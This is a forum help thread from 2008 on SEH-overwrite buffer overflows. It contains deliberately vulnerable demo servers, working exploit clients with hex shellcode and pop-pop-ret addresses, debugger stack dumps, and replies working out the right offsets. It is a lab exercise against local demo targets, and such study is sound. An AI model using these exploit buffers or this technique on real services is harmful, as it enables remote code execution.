首页
社区
课程
招聘
[求助]关于覆盖SEH利用的问题
发表于: 2008-8-17 01:24 11954

[求助]关于覆盖SEH利用的问题

2008-8-17 01:24
11954
首先发一个安全焦点的server_seh程序
/* server_seh.cpp
*
*  《网络渗透技术》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  结构化异常处理演示程序服务端
*/

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")

char Buff[2048];

DWORD MyExceptionHandler(void)
{
    printf("In exception handler....");
    ExitProcess(1);
    return 0;
}

void overflow(char * s,int size)
{
        int        *p = &size;
    char s1[50];
               
        s[size]=0;
        strcpy(s1,s);
        printf("receive %d bytes",*p);
}

void overflow2(char * s,int size)
{
        __try
        {
                overflow(s,size);
        }
        __except(MyExceptionHandler())
        {
                printf("oops...");
        }
}

int main()
{
    WSADATA wsa;
    SOCKET listenFD;
    int ret;
        char asd[2048];

    WSAStartup(MAKEWORD(2,2),&wsa);

    listenFD = WSASocket(2,1,0,0,0,0);

    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_port = htons(9999);
    server.sin_addr.s_addr = INADDR_ANY;
    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
    ret=listen(listenFD,2);

    int iAddrSize = sizeof(server);
    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
    unsigned long lBytesRead;
    while(1)    {
            lBytesRead=recv(clientFD,Buff,2048,0);
            if(lBytesRead<=0)    break;
            
            printf("\nfd = %x\n", clientFD);
                        overflow2(Buff,lBytesRead);
            ret=send(clientFD,Buff,lBytesRead,0);
            if(ret<=0)    break;

    }
    WSACleanup();
    return 0;
}
然后我用od载入后,经过几次调整,构造
#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

char poc[70];

int main(int argc, char* argv[])
{
        memset(poc,0x41,sizeof(poc)-1);
       
        WSADATA wsa;
        WSAStartup(MAKEWORD(1,1),&wsa);
        SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in sa;

        sa.sin_family = AF_INET;
        sa.sin_port=htons(9999);
        sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

        if (connect(sock,(const sockaddr*)&sa,sizeof(sa)) == SOCKET_ERROR)
        {
                printf("connect error\n");
                return -1;
        }
       
        send(sock,poc,sizeof(poc),0);

        return 0;
}来触发
然后用od查看离esp最近的seh地址,进行相减得到一个5c=92 然后直接构造一个exp


#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

char poc[400];

char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main(int argc, char* argv[])
{
       
        WSADATA wsa;
        WSAStartup(MAKEWORD(1,1),&wsa);
        SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in sa;
        sa.sin_family = AF_INET;
        sa.sin_port=htons(9999);
        sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        connect(sock,(const sockaddr*)&sa,sizeof(sa));
        //92 + 4 nop nop jmp 04 + call ebx+shellcode
        memset(poc,0x41,sizeof(poc)-1);
        memcpy(poc+92,"\xeb\x06\xeb\x06",4);
        memcpy(poc+92+4,"\x71\x15\xfa\x7f",4);//7FFA1571
        memcpy(poc+92+4+4,shellcode,sizeof(shellcode)-1);
    //----------------------------------------------
        send(sock,poc,sizeof(poc),0);
        return 0;
}
最后结果成功,在win2k Server sp0 和XP sp3下测试成功.

然后我自己随手写了一个模拟以上的服务端

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#define debugmsg(str) MessageBox(0,str,"Debug Message",0);
#define DispMsg(str) printf("[+] %s \n",str);

char cBuff[2048];

DWORD MyExceptionHandler(void)
{
    printf("In exception handler....");
    ExitProcess(1);
    return 0;
}

void overflow(char * s,int size)
{
    char s1[320];
    printf("receive %d bytes \n",size);
    s[size]=0;
    strcpy(s1,s);               
}

void overflow2(char * s,int size)
{
        __try
        {
                overflow(s,size);
        }
        __except(MyExceptionHandler())
        {
                printf("oops...");
        }
}

int main(int argc,char *argv[])
{
        system("cls.exe");
        printf("Exploit Me Server \n");
        printf("---------------------------------------------------------------\n");

        WSADATA wsaData;
        SOCKET  sock;
        SOCKADDR_IN addr_sa,server;
       
        if (WSAStartup(MAKEWORD(1,1),&wsaData ) != 0){
                printf("[?] WSAStartup Failed! ErrCode: %d\n",GetLastError());
                return -1;
        }
       
        DispMsg("WSAStartup Success.");
       
        sock = socket(AF_INET,SOCK_STREAM,0);
        if (sock == INVALID_SOCKET){
                printf("[?] Create Socket Failed! ErrCode: %d\n",GetLastError());
                return -1;
        }
       
        DispMsg("Create Socket Success.");
       
        addr_sa.sin_family = AF_INET;
        addr_sa.sin_addr.S_un.S_addr = INADDR_ANY;
        addr_sa.sin_port = htons(8080);
       
       
    if (bind(sock,(const sockaddr*)&addr_sa,sizeof(addr_sa)) == SOCKET_ERROR)
    {
                printf("[?] bind  Failed! ErrCode: %d\n",GetLastError());
                return -1;
    }
       
        DispMsg("Bind Service Success.");

        listen(sock,10);

        DispMsg("Start Listen Port:8080");

        printf("---------------------------------------------------------------\n");
        printf("~ Welcome to you\n");

    int iAddrSize = sizeof(server);
    SOCKET clientFD=accept(sock,(sockaddr *)&server,&iAddrSize);
    unsigned long lBytesRead;
   
        while(1)   
        {
            lBytesRead=recv(clientFD,cBuff,2048,0);
            
                        if(lBytesRead<=0)
                        {
                                printf("[!] ReadData Error for the Client!\n");       
                            }

            printf("\nfd = %x\n", clientFD);

                overflow2(cBuff,lBytesRead);
            
        if (send(clientFD,cBuff,lBytesRead,0)<=0)break;

    }
    WSACleanup();
    return 0;
}

通用如上办法进行od调试,最后得到覆盖到异常348.
然后构造出

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

char poc[600];

char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main(int argc, char* argv[])
{
       
        WSADATA wsa;
        WSAStartup(MAKEWORD(1,1),&wsa);
        SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in sa;
        sa.sin_family = AF_INET;
        sa.sin_port=htons(8080);
        sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        connect(sock,(const sockaddr*)&sa,sizeof(sa));
        memset(poc,0x90,sizeof(poc)-1);
        memcpy(poc+348,"\xeb\x06\xeb\x06",4);
        memcpy(poc+348+4,"\x71\x15\xfa\x7f",4);//7FFA1571
        memcpy(poc+348+4+4,shellcode,sizeof(shellcode)-1);
    //----------------------------------------------
        send(sock,poc,sizeof(poc),0);
        return 0;
}
-----------------------------------------------------------------------
执行后,server直接退出了,用od观察堆栈位置,发现:

0013FD84   90909090
0013FD88   90909090
0013FD8C   90909090
0013FD90   90909090
0013FD94   90909090
0013FD98   06EB06EB <--跳转指令
0013FD9C   7FFA1571 <--pop pop ret
0013FDA0   0A6A68FC  指向下一个 SEH 记录的指针 <--Shellcode 开头
0013FDA4   63681E38  SE处理程序
0013FDA8   684FD189
0013FDAC   0C917432
0013FDB0   7E8DF48B
0013FDB4   B7DB33F4
0013FDB8   66E32B04

而这时寄存器是
EAX 0013FC3C
ECX 0040BD68 server.0040BD68
EDX 00909090
EBX 7FFD3000
ESP 0013FD84
EBP 90909090
ESI DAB55CF7
EDI BBA5B95C
EIP 90909090

如果继续F9执行,责报错EIP..90909090..

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (30)
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
请达人帮忙一起调试一下,分析一下原因,我应该怎么改进
2008-8-17 03:30
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
3
memset(poc,0x90,sizeof(poc)-1);

0x90 改成 0x41 试试
2008-8-17 03:34
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
不行,0x41的话不行.
2008-8-17 07:28
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
后来修正了一下exp
poc+352开始
// poc.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

char poc[600];

char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main(int argc, char* argv[])
{
       
        WSADATA wsa;
        WSAStartup(MAKEWORD(1,1),&wsa);
        SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in sa;
        sa.sin_family = AF_INET;
        sa.sin_port=htons(8080);
        sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        connect(sock,(const sockaddr*)&sa,sizeof(sa));
        memset(poc,0x41,sizeof(poc)-1);
        memcpy(poc+352,"\xeb\x06\xeb\x06",4);
        memcpy(poc+352+4,"\x71\x15\xfa\x7f",4);//7FFA1571
        memcpy(poc+352+4+4,shellcode,sizeof(shellcode)-1);
    //----------------------------------------------
        send(sock,poc,sizeof(poc),0);
        return 0;
}

堆栈区信息如下:
0013FD84   41414141
0013FD88   41414141
0013FD8C   41414141
0013FD90   41414141
0013FD94   41414141
0013FD98   41414141
0013FD9C   06EB06EB ----跳转
0013FDA0   7FFA1571  指向下一个 SEH 记录的指针 <----pop pop ret 通用地址
0013FDA4   0A6A68FC  SE处理程序 <---shellcode开头
0013FDA8   63681E38
0013FDAC   684FD189
0013FDB0   0C917432
0013FDB4   7E8DF48B

此时寄存器状态如下:

EAX 0013FC3C ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 0040BD68 server.0040BD68
EDX 00414141
EBX 7FFD7000
ESP 0013FD84
EBP 41414141
ESI 78652E72
EDI 65767265
EIP 41414141
---------------------------
这是怎么了?系统是xp sp3,在2k下调试也一样.
2008-8-17 07:33
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
奇怪啊,难道非要控制eip??
加了一句memcpy(poc+324,"\x12\x45\xfa\x7f",4);
确实可以正常执行了..但如果这样的话,后面用覆盖seh还有啥意义了!!
2008-8-17 07:52
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
7
感觉你的测试怪怪的
最上面那组你测的 poc+92 应该是 main 的 seh (若C++会自动加上去)
你应该没显示 "In exception handler...." 吧
你试试 poc+68 , 可能会落在 overflow2 的 seh, 显示 "In exception handler...."

然后你测自己写的server, 你说的348 应是Stack, overflow2 的 seh
若要换成 poc 应是 336 => memcpy(poc+336,"\xeb\x06\xeb\x06",4);
你直接写 memcpy(poc+348 太后面了, 已经是 overflow2内的ret
所以你会在 overflow 内的 ret 产生例外, 因为 ret 到 41414141 了

刚好跟你列出的Stack状况相符

所以你刚开始的测试误打误撞刚好落在 main 的 seh
2008-8-17 14:23
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
8
poc+324 是 overflow 内的 ret , 当然可以, 可是变成跟 SEH 无关
你都没搞清楚吧

请问一下: 地址 7FFA4512 干嘛用的?
2008-8-17 14:28
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
7FFA4512   你随便用OD打开个程序,看看这个地址,会发现是 jmp esp
当执行seh的时候,实际上是执行的jmp esp,这时你观察esp指的是什么
2008-8-17 15:19
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
10
7FFA4512    0E              push    cs
7FFA4513    300F            xor     [edi], cl
7FFA4515    3043 FE         xor     [ebx-2], al
2008-8-17 16:10
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
7ffa4512是系统核心转跳地址,具体语句是jmp esp
2008-8-17 20:04
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
好的,我再仔细调试一下,谢谢楼上sessiondiy
2008-8-17 20:07
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
sessiondiy,你的意思是利用程序main的seh?而不是局部堆栈的seh?
2008-8-17 20:10
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
14
建议你先多找些基础资料来看
2008-8-17 21:17
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
Q: 如何在exploit里去触发SEH异常?
A: 让目标程序去读/写无效地址, 覆盖数据超出栈底.

Q: 如何找到需要覆盖的SEH?
A: 用测试串,如"aaaaaa..."覆盖stack导致异常,被od捕获,看SEH链,得到被覆盖的SEH处理程序的stack地址.

-=
我也是按照 网络渗透技术上面来测试的,只不过我用不好windbg,用的od
一般不知道触发异常是多少的情况,还有什么办法来让目标程序发生异常?
2008-8-17 21:58
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
16
你用这个测一下最上面那个原版 server 试试
(我没 C 只能用看的)

  memset(poc,0x41,sizeof(poc)-1);
  memcpy(poc+68,
  memcpy(poc+68+4,"\x71\x15\xfa\x7f",4);//7FFA1571
  memcpy(poc+68+4+4,
2008-8-17 22:38
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
-------------------
网络渗透一书确实是构造了68个字节来触发异常的,但他们给的东西都是一笔带过,也不说明原因,所以我以上都是自己调试出来的.而且不同的系统产生的地址也不同的.
2008-8-17 23:06
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
18
你说的书我没看过, 你用这个测一下你自己写的Server

  memset(poc,0x41,sizeof(poc)-1);
  memcpy(poc+336,
  memcpy(poc+336+4,"\x71\x15\xfa\x7f",4);//7FFA1571
  memcpy(poc+336+4+4,
2008-8-17 23:21
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
============================
// poc.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

char poc[600];

char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main(int argc, char* argv[])
{
       
        WSADATA wsa;
        WSAStartup(MAKEWORD(1,1),&wsa);
        SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
        struct sockaddr_in sa;
        sa.sin_family = AF_INET;
        sa.sin_port=htons(8080);
        sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        connect(sock,(const sockaddr*)&sa,sizeof(sa));
        memset(poc,0x41,sizeof(poc)-1);
        memcpy(poc+336,"\xeb\x04\xeb\x04",4);
        memcpy(poc+336+4,"\x71\x15\xfa\x7f",4);//7FFA1571
        memcpy(poc+336+4+4,shellcode,sizeof(shellcode)-1);
    //----------------------------------------------
        send(sock,poc,sizeof(poc),0);
        return 0;
}

结果如下:
0013FD84   41414141
0013FD88   41414141
0013FD8C   04EB04EB
0013FD90   7FFA1571
0013FD94   0A6A68FC
0013FD98   63681E38
0013FD9C   684FD189
0013FDA0   0C917432  指向下一个 SEH 记录的指针
0013FDA4   7E8DF48B  SE处理程序
0013FDA8   B7DB33F4
0013FDAC   66E32B04
0013FDB0   533233BB

ECX 0040BD68 server.0040BD68
EDX 00414141
EBX 7FFDF000
ESP 0013FD84
EBP 41414141
ESI 78652E72
EDI 65767265
EIP 41414141
2008-8-17 23:53
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
20
我讲原Server的给你

strcpy 的 ret      +0
s1                 +4
s                  +8
p                  +12
s1[50](补2)=[52]   +16     poc+0
ebp                +68     poc+52
overflow 的 ret    +72     poc+56
s                  +76     poc+60
size               +80     poc+64
seh (next)         +84     poc+68 (应该这个)
seh (proc)         +88 MyExceptionHandler
ebp                +92
overflow2 的 ret   +96
*s                 +100
size               +104
seh (next)         +108    poc+92 (你写在此)
seh (proc)         +112    poc+96 (7FFA1571)

距离 strcpy 最近的例外是 poc+68
你用的 poc+92 己经是 main 的 seh 了
虽然也Run到了你的shellcode, 但是与本意不同.
另外... 06eb06eb 这个值在这种利用seh方面是不是无意义 ?
2008-8-18 00:08
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
按道理应该是
0013FD9C   684FD189 <-这里应该是eb06eb04
0013FDA0   0C917432  指向下一个 SEH 记录的指针<-pop pop ret
0013FDA4   7E8DF48B  SE处理程序 <-shellcode 入口才对
2008-8-18 00:09
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
谢谢你,那么晚了还不休息?
你说的这个我好好学习一下
2008-8-18 00:14
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
23
你Server有改过?
2008-8-18 00:17
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
server没改过,一直是这个exe
我现在测试平台是xp sp3 cn
2008-8-18 00:20
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
25
所有的问题你用 OD 去追一下就了解了.
在这里看程式想不是办法.

测试用, C 近量不要用太高版本的.
2008-8-18 00:24
0
游客
登录 | 注册 方可回帖
返回
//